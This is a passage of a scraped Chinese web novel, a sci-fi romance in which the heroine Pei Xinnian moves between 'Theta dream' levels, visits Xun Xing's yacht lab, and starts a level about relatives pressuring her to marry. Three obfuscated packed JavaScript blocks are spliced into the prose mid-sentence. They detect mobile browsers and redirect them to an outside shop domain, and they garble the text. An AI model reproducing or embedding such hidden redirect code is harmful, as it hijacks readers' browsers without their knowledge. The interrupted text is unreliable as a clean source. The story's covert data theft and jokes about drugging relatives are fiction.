“大概是五服之内的血缘关系。”荀行想了想,给了一个相当严谨的回答。 “我还以为这是你生的小王子呢。” “怎么可能。”荀行的表情松动了些,瞳孔缩了缩,“他看起来难道不是跟我同龄吗。” “好吧,不开玩笑了,你来这里也是要收集数据吗?” 裴心念扯了扯对方一看就华美不凡的衣袖,手指摩挲了一下上面的纹路。 感觉很值钱的样子,可惜不能在梦境内外倒卖。 荀行在她想要靠得更近的时候后退了两步。 “只是测试项目而已。” “那你的进度如何啊?”裴心念站定,不卑不亢地问。 “似乎没有出现塞塔梦境里会出现的狂暴浪潮,这里太过平静了。” “……是你整天在王宫里研究烘焙才会觉得平静吧。” 地下拳场都快打出猫命了,怎么能说是风平浪静呢。 裴心念想到自己的关键节点——那个看起来似乎不可能完成的任务,找出她的猫。 这个国家不知道有多少只猫,她可能见都见不全。 不过,眼前的这个人是猫猫国王。 真是给她雪中送炭了。 “我有数据,你配合我,之后出去给你部分拷贝啊。” 裴心念向他抛出橄榄枝。 荀行默了默,似乎在考虑这个条件的吸引力,“你是这里的普通的NPC……还是像之前一样?” “什么和之前一样?” “之前你是关卡任务的中心。” 裴心念眨眨眼,万一说是,她的回答可能了泄露商业机密。 不过,透露出去貌似算是一种投诚。 “……这次是谁在追求你?”荀行的神色很认真,仿佛两人交流的是系统参数之类的东西。 裴心念决定蒙混过关。 “哪里有呀哈哈。” 就算装得不像,起码也要显示一下自己有给老板保守秘密的决心吧。 职业道德如奶油般化开的事情,还是算了。 “我也不知道这里的主线任务是什么,但有增加数据收集进度的门路,算是意外收获的支线吧。”裴心念言之凿凿。 “……好。” “诶?”她接下来的游说内容还来不及展露头角,荀行就已经答应了她的请求。 “你还没听我要做什么呢。” “抱歉。现在说?”荀行垂头看着她。 裴心念怀疑此人被猫的身体影响了,眼神变得和星云一样清澈,定定地望着她。 —— 百年难遇的猫咪大选就这样毫无征兆地拉开了序幕。 所有五岁以上的适龄小猫,原型是可家养猫科的,全部都被征召到王庭。 众猫怀疑这是尚无婚配的王上要选亲了。 但看着告示上雌雄不限的字样,还是保持缄默,免得因为议论被处罚。 “要找到你之前养过的猫,还有其他的线索吗?”荀行看着乌泱泱进来的猫,揉了揉眉心。 是裴心念吩咐不要让众猫使用人形的,这样整个王庭倒宽敞一些,不然还要更加闹心。 她急着在三周目的判定时间截止之前把自己的猫选出来,所以才这么急,一次性全都要看。 “那,看见你不会咪咪叫的都筛了吧。”荀行悠悠道。 话音刚落,他就变成了缅因猫的形状,踩在地上,对着裴心念示范性地咪了一声。 好夹的声音。 裴心念实在无法把这一声和荀行结合在一起。 眼前的猫似乎也感到不好意思,支着尾巴跑了出去。 它开始亲力亲为地驱逐不符合要求的子民。 接下来的要求包括但不限于:裴心念坐着会跳上来自己求抱抱、敢踩在她手心里跳到高处、她给的指令都遵守。 裴心念看了一眼自己手里不知道何时出现的胡萝卜。 “……你们都成精了,当然知道哪个是萝卜哪个是纸巾啊。” 这和是不是她的猫又有什么关系! ”物随主人形,太傻的应该不是你的。” 荀行回答得非常认真。 “好吧……”裴心念看着剩下的一屋子猫陷入沉思。 星云和墨丘也在这里,非常卖力地拱到她身旁试图抢占一个位置。 可惜其中有一只笨蛋豹猫在上一周目已经被排除选项了,裴心念不忍地摸摸它的脑袋毛。 “呜——” 刚刚才变回猫形的大缅因冲了过来,试图把星云给挤走。 裴心念伸出手,把这位秘林科技的负责人抱了起来。 荀行偏了偏毛茸茸的头,开始呼噜呼噜。 “呜呜呜呜!” 不说人话,就显得很委屈。 裴心念用了点力气,把它漂亮的脸蛋搓来搓去,对方居然挥了挥圆圆的爪子,开始追着她的手当玩具了。 【本次任务判定中——】 【梦主任务失败,女主表现得更喜欢其他小猫】 (请选择关键节点答案。) 眼看着面前的梦境就要按时结束,裴心念眼一闭心一横,干脆选了正在怀里撒娇的这一只。反正他看着很有先来后到的架势。 (本次梦境关卡解析进度:100%。) (关键节点辅助:1/1。) 居然还真是! 裴心念在最后一瞬,和突然被打回人形的荀行面面相觑。 所以是她养的小猫最后占领世界了吗! ……真不愧是她的猫。 也不知道这猫是离开主人之后报复世界呢,还是早有预谋,或者是她指使的。 总感觉每一种都有一定的可能。 “再见。”荀行在她耳边说,声音被空间域扭曲所带来的风吹散,听不真切。 下一秒再睁眼时,她又回到了熟悉的实验室。 裴心念爬出来,发现窗外的灯光依然是暗的,有种再次回到极夜的错觉。 不过理智告诉她,这仅仅代表着她在实验室加班了太久,起码也是整整一天过去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17019216|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为进入塞塔梦境之后,虽然时间流速不一样,但是做不到现实世界时间完全静止,也不能保证每次的时间比率。 完全是开盲盒。 进去再出来,变成老人的可能性也不为零。 修改器目前只能对这种情况进行监测,遇到不对是需要提前重置的。 夜间的实验室依然空无一人。 “不会真的让我一个人躺在休眠舱里面加班吧……” 她小声念叨,并不放在心上。 毕竟每次昏迷的时间不定,谁有那个闲功夫一直等啊。 裴心念拍了拍自己发麻的右腿,打算先从实验室的冰箱里拿点吃的,然后再考虑要不要回家睡一觉。 冰箱和餐吧那块的灯亮着。 她一眼就能认出灯下的背影,郁向晚还在这里。 “这么快?” 郁向晚没有第一次她进入塞塔梦境后的紧张,对她笑着晃了晃手里的杯子。 “我还以为要再等两天呢。” 裴心念每次路过餐吧都是用用咖啡机,拿点营养液,第一次仔细观察这个功能区。 台上放的餐具多了。 她拉开冰箱,差点没被里面涌出来的各种食材淹没。 “怎么突然买了这些东西?” 裴心念艰难地从侧边取出自己的营养液。 它应该被人有意放在容易取放的位置了,否则她得搬空里面的食材山,也不一定够得到。 “这几天晚上呆在这里无聊,试试。” “好久没在家里吃饭,我想是吃腻了。” “趁此机会重新练练厨艺,看看能不能讨念念大王欢心啊。” 裴心念走过去,在他肩膀上拍了拍,“这不是太忙了嘛,我才没有多挑嘴呢。” 郁向晚笑而不语。 “冰箱里有芒果慕斯,正好这个时间成型,吃完回家。” 裴心念的眼睛亮了亮。 她刚刚还在心里偷偷想这一趟苦了她的嘴和胃来着。 “好好好。”她上前去嗅了嗅空气中的甜味,“还回去吗?现在是不是太晚了。” “没关系。幸运的是,你刚好休眠到了休息日前一天。” 原来马上要放假了。 “这几次都让你等这么晚,要什么补偿吗?”裴心念笑眯眯地凑过去,在郁向晚身上嗅到了食材的果香。 “怎么能叫补偿呢。”郁向晚顺势轻轻揽住她,“你又没有命令我在这里等着。” “都是自愿的。” 裴心念默了默,突然不知道该怎么回答,也许是过长时间的休眠导致的突然宕机。 “在梦境里,是不是很开心?” 郁向晚等了一会儿,转而问她塞塔梦境的事。 “还好吧……为什么这么问?” 正常人不都会觉得上班干活很辛苦嘛。 虽然她表现得比较轻松,也确实享受利用系统和修改器解决问题的过程。 但如果能选择,她还是更想躺在床上刷星网,或者去各个星系旅游。 “每次重新进去都很积极,像是老板的魂在你后面追一样。”郁向晚开玩笑,“而且我没事的时候在休眠舱旁边看你,肢体很放松,心率指标都正常。” 不像是通常所认为的,进入塞塔梦境被追杀直到世界尽头的样子。 她简直像是在里面度假。 “这个嘛……” “我接触的梦境关卡危险系数都比较低,之前报告里也写了。” “而且会碰到一些比较好玩的关卡,比如这次我在里面摸了有上千只猫。” “一次性摸到的?”郁向晚有些惊讶。 “嗯,什么品种都有。” 裴心念重新拉开冰箱的门,寻找她的夜宵。 她的终端震了震。 【你安全回来了吗?】 荀行发来的消息。 33.第 33 章 裴心念收回视线,放弃在众多食品中寻找那一抹亮黄,先点了点终端。 郁向晚越过她半个身位,替她把装蛋糕的杯子取了出来。 他没有继续问那一千只猫的来路,也没有问终端上的消息是谁发来的,动作一切如常。 【嗯。】 【报酬怎么给你?】 裴心念低头回复,姿态放松。 【不用报酬。】 居然是如此不图回报的大好人吗?! 她有些惊讶,张嘴抿了一口郁向晚喂过来的勺子。 荀行的消息还在继续。 【明天可以邀请你出来用餐吗?】 【在游艇上。】 裴心念把自己的视线暂时从终端上移开,望了望眼前专注给她投喂的人。 好像有点冷落他。 “呃,这个是工作消息,我再回一下?” “好。”对面的人眉眼弯弯,尾端上挑的狐狸眼很温和地注视着她,似乎并不在乎这些小插曲。 【明天我想在家里休息,后天可以吗?】裴心念回。 如果那些数据报酬只是换来吃顿饭的话,未免也太草率了。 她更倾向于对方还会和她交流一些塞塔梦境相关的讯息,甚至于需要进行什么不能经过星网的线下交易。 那还是先让她好好休息一天,做点准备吧。 回完这句话,裴心念就不再看终端,专心享用起自己的回归加餐。 芒果慕斯又软又甜,让刚刚回到现实的裴心念终于有了活过来的实感。 人类统治世界,就是为了吃这些犒劳自己嘛。 小猫虽然可爱,但是品味不敢恭维。 郁向晚对她的口味很了解。 但给她做的食物往往会采用少糖的成分,用料总是比她的甜度阈值要低一些。 用他的话来说,这样一点一点培养,容易建立健康的习惯,叫什么渐进式行为设置。 听不懂,但听起来有道理。 小杯子蛋糕份量小,光盘很快,随后两人就回家去。 这里是一套两居室的小商品房,位于中央星的核心地带,是郁向晚的家人留给他的,价格不菲,两人从荒星逃回来之后,这些年一直是在这里合住。 裴心念潜意识觉得这里是郁向晚的房子,她没有合法的继承权,想等到经济独立再搬走。 不过,在中央星想要经济独立可以维持生活,简直难如登天。 十代人努力才换得来,再苟一苟吧。 一回家,裴心念就跑去把客厅的窗户拉开通风,深秋的夜风从高层的位置席卷而来,带来满室的萧瑟之感。 有点冷,但并不是难以忍受的程度。 相反,让头脑很清醒,她喜欢这种清醒的感觉。 “我是不是好久没回来了?” 她微微侧过头,问郁向晚。 “嗯,家里的家政智械都差点要罢工了,它们的劳动成果没人享受。”郁向晚走到身旁,和她一起眺望浓重的夜色。 更早一些的时候,中央星的光污染严重,还是在治理之后才达到了如今的效果。 万物沉沉睡去。 就是不知道其中有多少是置身于塞塔梦境中的倒霉蛋。 “塞塔梦境,有没有办法让我跟你一起去?”郁向晚突然问。 裴心念知道他是不能放心的,哪怕表面上若无其事。 “现在还没有……之后我会尝试的。”她轻声安抚道。 “不过真的比较安全——”裴心念解释,如果忽略掉莱恩那种流窜的意识体的话,确实如此。 “我知道。”郁向晚轻声说,把下巴贴着她肩膀的位置,“我相信你。” “只是你不在家,我睡不着。”他向来温和的眼睛里突然泛起波澜,好像不平静的海,“每天不做一次甜点,就会很苦。” 裴心念理了理他被风吹乱的额发,“别胡思乱想。” 第二天。 裴心念和自己的床完全难舍难分,郁向晚的叫醒服务进行了三次,才勉强把她从被窝里铲了出来。 ……收效甚微,结果也就是从在床上窝着,改成了在沙发上窝着而已。 裴心念扯了扯自己膝盖上盖着的毛毯,大发慈悲,给非要挤过来一起坐的郁向晚盖了个边角。 睡衣毛茸茸的,毯子毛茸茸的,沙发也毛茸茸的。 真好。 裴心念联想到星云身上的毛发,要是当时有时间抱着小猫一起在沙发上看电影就好了。 或者他变大一点,变成沙发给她坐也行啊。 裴心念既希望下一次还能遇见他,又希望星云早点结束任务回到现实。 希望接下来等着他的关卡简单一些。 裴心念这次看的是一部相当复古的老电影,《2001太空漫游》。 长达好几个小时,甚至在影片内容中含有中场休息,大概是电影刚刚诞生之初的特色,给影院的观众活动活动腿脚用的。 她没有完全集中在电影上,只是在这光影营造出的气氛中酝酿自己的灵感。 撕裂空间,做出一个独属于自己的世界,像塞塔梦境那样,到底需要多少资源来维护? “明天要出门?”郁向晚在电影的中场间隙问她。 “嗯,商务聚餐而已。”裴心念不想他想太多,模糊带过了荀行的来意。 “我能知道地址吗——?”他的眼神暗了暗,可能是背后光幕投影带来的影响。 “如果需要接你回来的话,提前知道会方便一些。” “等下终端传你。”裴心念忍不住伸出手背探了探他额头的温度,正常的。 和他整个人表现出来的状态一样。 就这样一直磨蹭到傍晚,裴心念享受了三荤三素一汤的餐标以及浴缸放水的全套回归礼包,在夜晚到来之前,完全是猫回到猫窝的慵懒,根本就不想花时间去整理所谓的明日应对之法。 ……人的本性就不能加班。 入睡之前,她如是想到。 不过该带的还是得准备。 “今天还回来吗?”假期的第二天,郁向晚送她到门口,问。 “可能不回了,你自己好好休息。” 裴心念也不知道荀行这一次要多久。 既然是游艇,起码也得出海再回来,时间上不会太短。 郁向晚难得没有回她,只是低头。 裴心念回想了下,上一次他这个表情似乎还是在她新生联欢后出门date的那天。 后来怎么样了?她记不太清。 总之是因为一些莫名其妙的原因和那个男生淡了联系。 空中轨道乘坐点,郁向晚和她挥手告别。 裴心念扒拉着玻璃窗,看着地下越来越小的人,有种不太好的预感。 ……游艇上的栗子蛋糕也很好吃。 比昨天郁向晚做的芒果慕斯要甜上一个度。 裴心念一到地方,看见荀行准备的礼物,就把刚刚的疑虑抛到脑后了。 再怎么样郁向晚也不会找她的麻烦,还是先吃点好的享受一下。 荀行靠着甲板上的栏杆,眯起眼睛,在阳光下看她。 裴心念坐在桌旁,每一样他烘焙的甜点都尝了一点儿尖尖。 食量不大,但是喜欢最甜的部分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031112|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没有要跟我说的吗?”裴心念又尝了一口,放下餐具,起身走向对方。 荀行总不能是专门请她来吃蛋糕的吧。 “你说,之前的塞塔梦境?” 荀行一副和她不是很熟的作态,公事公办,语调平平。 “我们可以交流经验,没有要从你这里换取报酬的意思。”荀行保证道,“如果愿意,等下填饱肚子,请你参观我的实验室。” ……什么叫等下填饱肚子啊,她都已经吃撑了。 他不会是把第一关自己饿了会晕倒的刻板印象带到了现实世界吧。 “我不饿。”裴心念抬了抬下巴,“既然荀总要谈合作,我很荣幸作为我们实验室的代表。” “不是你们实验室。” “只是和你合作而已。” 裴心念眨眨眼,不置可否。 其实也不是不能考虑。 让陈清泉快点把实验室转赠给她吧! 他们前往主船舱的路上,听见甲板下方有凌乱的脚步声响起。 两人不约而同地止住了脚步。 果然,不过一会儿,便有人上来报告。 一名侍者毫无征兆地晕倒了,怎么喊也喊不醒。 “用船上的设备检查过了?”荀行问。 “一切生命体征都正常。” “脑波不会恰好符合特定节律的塞塔波吧?”裴心念站在游艇主人的身边,看起来并不起眼。她开口说话后,来报告的侍者才正视她。 “这——” “去看看。”荀行指示他。 不多时,跑上来报信的人果然带回了肯定的回答。 “这位小姐说的完全正确,她被塞塔梦境带走了!” 这病毒的域展开也太猖獗了点。 中央星上的一些大型场合,无论公共还是私人领地,都会有领域的屏蔽防护。 居然光天化日在秘林的领地又冲破了防护,很难不看作是塞塔梦境病毒对荀行的挑衅。 “先把人送到精神病毒医院。” 裴心念突然很理解对方为什么如此大方地要同她合作了。 她在这一领域的研究和应用落地的经验,是对方所缺失的部分。 “走吧?”她看了看荀行。 荀行带她下到一间装潢华美的房间,一看就是贵族包厢的程度,不过和荀行的风格倒不匹配。 “这是买下这艘船时,船主人的房间。”荀行对她解释。 “看得出来。”裴心念点头,“但你不是要带我去实验室看看吗?” 现在这房间,看起来只有睡觉一个用途啊。 她还以为要紧急下船呢。 船上刚刚出现案例,不是什么安全的地方,谁知道下一个被抓进去的是不是荀行。 “等一等。”荀行向前踩了几步,正准备继续动作,忽然回头看了她一眼。 “抱歉,可以牵你的手吗?” 他问得相当正式,似乎是什么面试的题目一样。 “请吧。”裴心念没有让他先一步,自己抓住了荀行的手掌。 她大概知道后面的可能是什么了—— 眼前倏然一亮,在被白光包裹之前,裴心念提前闭上了眼睛。 这和走廊尽头的光、王座之下的光,属于同一类型。 时空裂隙。 “设计足够大的时空裂口,就可以做到随身携带实验室。” 裴心念恍惚了一瞬,没怎么听进去荀行的解说。 总觉得刚刚有人在喊她。 可等到仔细去辨认时,人已经到了另一重空间,完全隔绝了进来前的感官。 34.第五关(1) 荀行牵着她往前走了一段距离。 眩目的强光终于减弱,肉眼已经能看清眼前的场景。 巨大的浮空光幕悬在眼前,配套的智械系统像两条银河流淌过身边。 另一维度的空间上还放着各式各样的样品。 有奇形怪状的深海生物,有些是智械的嵌合体。另外有一大块区域,专门用来存放甜点。 “看来它们的上帝爱吃甜品。”裴心念幽幽道。 “嗯。”身旁的人唇角上扬了些。 “都说秘林是做智械系统设计的,现在看来不止于此。” 裴心念伸手,点在智械流中凸起的一个小块上。 水里冒出一只很熟悉的小猫,殷勤地捧着她的手。 居然能复现出心中所想。 裴心念盯着手中的星云,欣赏了一会儿,就是手感没有现实中摸上去好。 “有些东西是不适合进行商业化的。”荀行听出了她话外的意思,“很容易就会演变成塞塔梦境那样的病毒。” “这倒是。”裴心念话锋一转,“我能知道如何创造这样的时空裂口,或者怎么扩大裂隙的宽度吗?” “如果我拒绝,你会怎么做?” “理解。”裴心念点头,语气理性而矜持。 骗你的。 其实已经用接口在回传数据了。 这就是她提前所做的准备。 技术机密呢,敢透露就要有被偷的自觉。 如果有办法把这项技术在修改器上做应用,她就可以实现带人进入塞塔梦境了。 真是瞌睡了有人送枕头。 荀行带着她走了一圈,随后退出了这个稳定的随身实验室。 “你在里面只放置了空间维度。”裴心念总结道,“这样的话,岂不是具体做实验的时候只能搬出来进行?” “嗯,它只是相当于一个存储和展览的地方,称作实验室名不副实,被你发现了。” “那是因为加了时间维度就会变成塞塔梦境那种不可控的东西吧——” 裴心念的话说到一半,主卧套房外边传来某种物体震碎的声音。 不会是塞塔梦境里的怪物跑出来了吧! “念念,你在里面吗?” 这是她在踏进所谓的实验室之前,听见的那道声音。 不是幻听,是郁向晚。 她是给了地址,但这艘私人游艇他是怎么上来的? “你认识?”荀行观察着她的神色,问道。 “不好意思,是我的朋友。” “不是恐怖袭击就好,那我们出去看看。” 荀行在她后背轻轻拍了拍。 外面的动静依然在持续,直到两人出现在甲板上。 郁向晚身上穿着星际急救的制服,肩膀处撕裂了一个大口子,把刚刚前来报信的侍者掀翻在地。 裴心念深吸一口气,冲上去拉开二者。 “你怎么来了?” 郁向晚见她全须全尾地站在自己身前,瞬间松了手劲,连声音都变得和缓不少。 “这里有人被送去精神病毒医院了。” “我担心你。” “这么说,从我出门,你就开始跟踪了?”裴心念问,表情分辨不出喜怒。 “……” 在普通的同学社交上睁一只眼闭一只眼也没有什么。 但她现在又不是小孩了,说是商业交流,也确实在尝试从荀行这里找到参考。 为什么非要让她难做呢? 裴心念退开半步,上下打量了他的情况。 只有肩膀带伤,好得很。 念念似乎并不想原谅他。 作为一个眼神就能知道她要什么的人,郁向晚当然能解读出这层意思。 他应该道歉的。 可是郁向晚紧抿着唇,不太友善地盯着身后的荀行。 裴心念则是皱眉,大概能猜到他是如何混进来的。 从侍者发现有人坠入塞塔梦境开始。 他们要把人送出去,就得和游艇外界的人对接。 郁向晚在那时候上的游艇,也许是打听到她和荀行进了主卧套房,所以跟了上来。 荀行的实验室里时间停止流动,因此他一共可能只喊了两声念念,但却在前后间隔许久才被她听见。 “你知道这里有人进了塞塔梦境,还来?” 裴心念推了推他没有伤痕的左肩,看着他一副哑巴的样子就来气。 平时不是很会说话吗,现在怎么一句也说不出来了。 “既然是念念的朋友,要来一起游玩吗?” 荀行打破了沉默,摆出主人的姿态,非但没有对非法闯入追责,反而还发出了邀请。 “这是秘林的董事长和技术首席。”话都说到这份上了,裴心念给两人互相介绍了一句,“他是我的朋友,也在S.T.工作。” 三人步行到主甲板的沙龙区,一路上气氛依然很微妙。 不过烦恼这些的时间也太短暂了。 刚刚站稳脚跟,脚下的整个下层甲板产生了剧烈的动乱,效果不亚于底部被一头巨鲸或者冰山一角击穿。 裴心念随身携带的修改器接口,正在疯狂警告。 (塞塔梦境病毒浓度上升中,请迅速撤离!) 往哪里撤离,跳海吗? 眼前的世界完全消失之前,她看到荀行向自己伸手,似乎想要重现在主卧套房里的奇迹。 可惜船身的倾斜角度太大了,他够不着她。 裴心念甚至躲了一下,因为她无法判断荀行的意图。 秘林科技的负责人,已经有了被卷入塞塔梦境的经历,还拥有随时可以变异开发为下一个塞塔梦境的技术。 他为什么会放任自己的游艇上出现这种事故? 说不定船上本来就有他的实验品呢。 郁向晚离她更近一些,裴心念抓住他的手。 不管怎么样,毕竟是从小一起长大的人,裴心念再生气也不会怀疑他。 但塞塔梦境的域展开之后,他们就失散在世界的流水中了。 “滴,滴——” 和以往的几个关卡不同,这次裴心念并没有先听见自己修改器的声音。 只是远程的接口,能让她在现实世界中调用已经是极限了。 这意味着,她是以梦主的身份进来的。 这倒是新鲜,她的任务会是什么? 砍一百只怪物的脑袋做成烧烤? 裴心念翻了个身,懒懒地把眼睛掀开一条缝,去寻找滴滴声的来源。 这是一间墙皮剥落的小房间,占地不大,周围摆放的机器倒是很多。 声音的来源,就是其中一台机器。 它是一体式的结构,下半部分支撑着整个机身,只有上半部分有光亮闪现。 要再仔细看时,裴心念就看不清了。 哎呀,近视属性怎么又带进梦境关卡了。 她嘟嘟囔囔着站起来,凑近一点去观察。 《拳皇99》。 再放眼四望,周围的机器有的熄了屏,有的上面也呈现出类似的界面,画风相当古早,在中央行,估计连学前班的代码课作业都不教这个。 靠近门口的位置,有一个巨幅红底黄字的费用招牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040655|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 裴心念彻底理解了自己所在的场景,这是一家街机游戏店的店面。 又是旧时代吗? 真是好复古哦。 她想着,抬手放在机器按钮上,用力揿下去。 屏幕上跳出大大的字,“请投币!余额不足!” 辅以相当激昂的音乐,似乎在抱怨她的不懂规矩。 啧,裴心念摸摸自己的口袋。 居然什么也没有。 真是穷得透心凉。 【梦主你好】 她等来等去,终于等来了塞塔梦境的系统。 裴心念甚至认为它是忙不过来,所以这会儿才加载出来的。 按照刚才游艇上的动乱程度,难道不会一次性带走十几二十人进入塞塔梦境吗? 小系统也是赶上KPI了,还挺辛苦的。 她想着,这些话她都在心里大声说,显然塞塔梦境系统是听见了,罕见地沉默了一会儿,才开口对她布置任务。 【欢迎来到千禧梦核关卡】 【您的任务是:应对催婚家长,让亲戚家人心服口服】 【此时是腊月二十八,请您在除夕鞭炮炸响之前完成任务,否则会回到此处重置,一共三次机会】 哇,还是第一次听塞塔梦境布置任务呢,这么听起来它口齿还挺清晰的。 “什么叫心服口服?”裴心念问它。 这种用形容词包装的任务目标,听起来不是很好判定。 【系统将会自动推演初一走亲戚时的情况】 【如果全家人遇到的亲戚中,没有一个提到梦主需要结婚,就算任务完成】 “你能给我几个推荐的完成任务路径吗?” 塞塔梦境系统卡顿了一会儿,这通常不是它提供的服务。 说来好笑,塞塔梦境系统的底层框架其实也是生成式的语言模型,当然可能搭载了其他模块,不过它一般是遵循机器人三原则的:在不伤害人类和服从人类命令的基础上保护自己。 那些消散在塞塔梦境中的意识体,可能会觉得这个设计很荒谬。 但事实很简单:塞塔梦境的设计者钻了个空子,在下定义的时候没把意识体判为人类。 那就可以随意处置了,大逃杀和怪物狂潮什么的,也没有一个是人类啊。 裴心念利用自己仅有的接口,尝试扰乱系统的认知。 她需要用一个测试问题来检验自己的成果。 长久的沉默。 只要没有明确的反驳,就证明程序正在运行中,只是遇到了一些矛盾而已。 【以下是给梦主推荐的完成路径:】 【1.同意父母的催婚要求,并迅速订婚】 【2.找人假扮男友,并提出算吉时成婚,表达确定性】 【3.……】 塞塔梦境系统卡住了。 难为它那分了成千上万份的运行内存,还要在这里勤勤恳恳地想方案。 不过内容都有点中规中矩,它的调试人一定把温度参数调得太低了,这会导致系统行为过于死板,不太灵活。 毕竟只需要执行发布死讯的任务,也不需要有太高的创造性。 “你说让他们不提催我结婚的事。” “那我每个人扇十个巴掌,他们出门还有空聊催婚吗?” 裴心念笑得很温柔,丝毫不觉得自己说的话有什么问题。 “或者在年夜饭里下泻药,第二天谁都别想从厕所里出来走亲戚。” 【……】 塞塔梦境系统持续宕机中。 见过邪恶的怪物,没见过这么邪恶的梦主! 35.第五关(2) 梦境系统生硬地反驳她: 【请梦主使用正常手段,不要对NPC进行物理攻击】 真是遗憾。 她咂咂嘴,准备从这个空间窄小的街机店中走出去。 麻烦的是店门口的卷帘门,裴心念四处找了半天缩口和拉环,终于是把它固定在顶部。 人走出去,再放下来,上锁。 “哗啦啦”的金属摩擦声,伴着她吭哧吭哧的动作,眼前的场景终于焕然一新。 寒冬腊月,天色也亮得晚。 此时正是晨光熹微,街道上没什么人。 裴心念慢悠悠地在街上踱步。 没走多久,她就觉得身上的薄棉服有点漏风。 啧,怎么只给梦主穿这个。 塞塔梦境系统闭嘴装死中。 “没有厚厚的衣服也就算了,我的钱呢?” 裴心念咬牙切齿道。 冬天的寒风把街道末尾的早餐店香气送到她鼻尖,导致她现在有点饿。 ……不是一点点饿,是能把梦境系统生吞了的饿。 【请梦主回家取钱】 【您的……您的钱前几天回乡的时候都给家长了】 梦境系统也冷似的,说话都抖着。 “带路,然后跟我讲讲我的人物背景吧。”裴心念幽幽道,一边抽了抽鼻子,打算顺着走回家。 【走到这条街的出口,右转直行三百米】 “就到了?”裴心念惊讶道,当初辛浚为了找到地点可没少大费周章,就差路边买个地图随身揣着了。这么看来她的系统还怪好的呢。 【到了巴士站,可以上回村的小巴士】 …… 裴心念无语凝噎。 比第三关的海沟街道还复古。 “我又没钱,怎么坐巴士?” 系统依然当缩头乌龟,连人物背景都不说,就让她自行探索。 裴心念叹了口气。 她折返到巷尾那家早餐店门前,发现有两家紧挨着,都是做早餐生意。 至于具体卖包子还是卖馄饨卖面条,不是重点。 重点是她看到了三三两两正在地上画跳房子的小孩。 应该是早餐店店家的孩子,两个小女孩,一个小男孩。 “要通关的嘛,就不要怪我对教育事业造成的坏影响了。”裴心念小声地自言自语。 她上前和几个孩子打招呼。 “念念姐姐?” 没想到小孩们居然认识她,个头最高的女孩热情地同她打招呼。 “你今天怎么这么早?” 小孩团团把她围住,压低声音叽叽喳喳,却压不住语调中的雀跃。 “我们能去玩了吗?” 好啊,好啊。 原来已经玩上了,那她就不客气啦。 “可以,今天年底大折扣。”裴心念眨眨眼,轻声哄道,“你们几个熟客价,只要几个包子就行。” “但是只能玩十分钟,后面要再玩,就得请别人进来。” “多找一个小伙伴,就多半个小时哦。” 反正那游戏店最多也只开年底这几天,让小孩们放松一下呗。 当然了,裴心念手里拿着包子啃、兜里收着车票钱的时候,当然还是以数钱为主。 赚钱呢,不寒碜。 天色渐渐亮起来。 她的限时免费拉新活动吸引力挺大,一道小小的河流从小镇的四面八方淌向这里。 等到中午的时候,裴心念兜里就有了十元钱,按照系统所说的两元来回,甚至还剩了点年货经费。 不错。 裴心念拉门闭店,告诉大家不能沉迷游戏,实在想玩呢,可以回去自己创造一种玩法。 当然她也不知道到底有几个孩子听了她的胡言乱语,只是转身向车站走去。 交钱上了车,镇里通往村里的土路很颠簸。 裴心念刚刚吃饱的胃部被颠得难受,差点把头伸出窗外,给泥土地来上一点农肥。 当初她在辛浚的后座上还是太大声了一点。 这个开车技术……yue……能别急停吗……yue…… 裴心念就这样一路欲呕未呕,终于到了系统所提示的村里。 她家还不在村口,要提着裤脚往村里猛走二里路才能到家。 “就这还有时间走亲戚催婚呢,怎么睡得着!” 裴心念骂骂咧咧,她平生最讨厌的就是浪费体力的任务。 “不如花点时间全村人一起把路修了,省得一天惦记别人的事。” 她艰难地根据系统的指引,到了同样一片泥泞的家门口。 现在的问题是,她貌似没有家里的钥匙。 眼前是一扇新换的铁门,和周围斑驳的墙皮形成了鲜明的对比,看起来格格不入。 路边有一户人家窜出来的大黄狗,对她吠了两声,声音没有很急促,但是胜在嗓门够大。 仅仅两声之后,就有人来应门,一边走一边喊,“谁呀?” 一条狗看两家门,也算是巡区主管了。 裴心念啧啧称奇,顺势从打开的门缝钻进家中。 “怎么今儿就回了?” 开门的是一个同样裹着大棉袄的中年妇人,裴心念初步认定,可能是自己的母亲。 不过这张脸,她见过。 游艇上那群慌乱的侍者其中之一? 裴心念若有所思地盯着对方瞧,看来她也是一个有任务在身的梦主。 【李春华】。 系统适时地跳出来,在对方脑袋上边显示了姓名框。 塞塔梦境并没有为她说明眼前人的身份,一律按照NPC的模板进行现实。 “你不是说在店里等到过年也不回吗,死丫头。”她的口音有点重,裴心念需要仔细辨认才能确定具体的内容,也不知道是不是特意装出来的。 裴心念对这句话的前因后果很感兴趣。 